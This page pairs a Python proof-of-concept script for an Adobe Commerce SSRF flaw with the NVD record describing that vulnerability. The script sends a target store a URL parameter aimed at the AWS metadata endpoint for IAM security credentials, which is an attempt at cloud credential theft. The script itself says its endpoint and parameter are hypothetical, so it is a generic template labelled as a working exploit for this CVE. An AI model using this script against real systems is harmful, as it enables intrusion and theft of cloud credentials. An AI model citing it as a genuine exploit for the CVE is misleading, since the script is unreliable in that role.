CVE-2026-34647

# PoC for CVE-2026-34647 (Adobe Commerce SSRF) # This script demonstrates the concept of the SSRF vulnerability. # Requires: pip install requests import requests def exploit_ssrf(target_url, malicious_url): """ Attempts to send a request to the target server containing the malicious URL. """ # The endpoint and parameter name are hypothetical based on typical SSRF patterns. # Real-world exploitation requires identifying the specific vulnerable parameter. endpoint = f"{target_url}/vulnerable_endpoint" payload = { "url": malicious_url, # The attacker-controlled internal URL "callback": "test" } try: print(f"[*] Sending payload to {endpoint}...") response = requests.get(endpoint, params=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if the internal resource was accessed.") print(f"[+] Response length: {len(response.text)} bytes") # In a real scenario, response content might leak internal data else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": target = "http://example-adobe-commerce-site.com" internal_target = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Example: AWS Metadata exploit_ssrf(target, internal_target)

{"cve": {"id": "CVE-2026-34647", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:35.677", "lastModified": "2026-05-13T14:49:11.830", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized read access. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://helpx.adobe.com/security/products/magento/apsb26-49.html", "source": "[email protected]"}]}}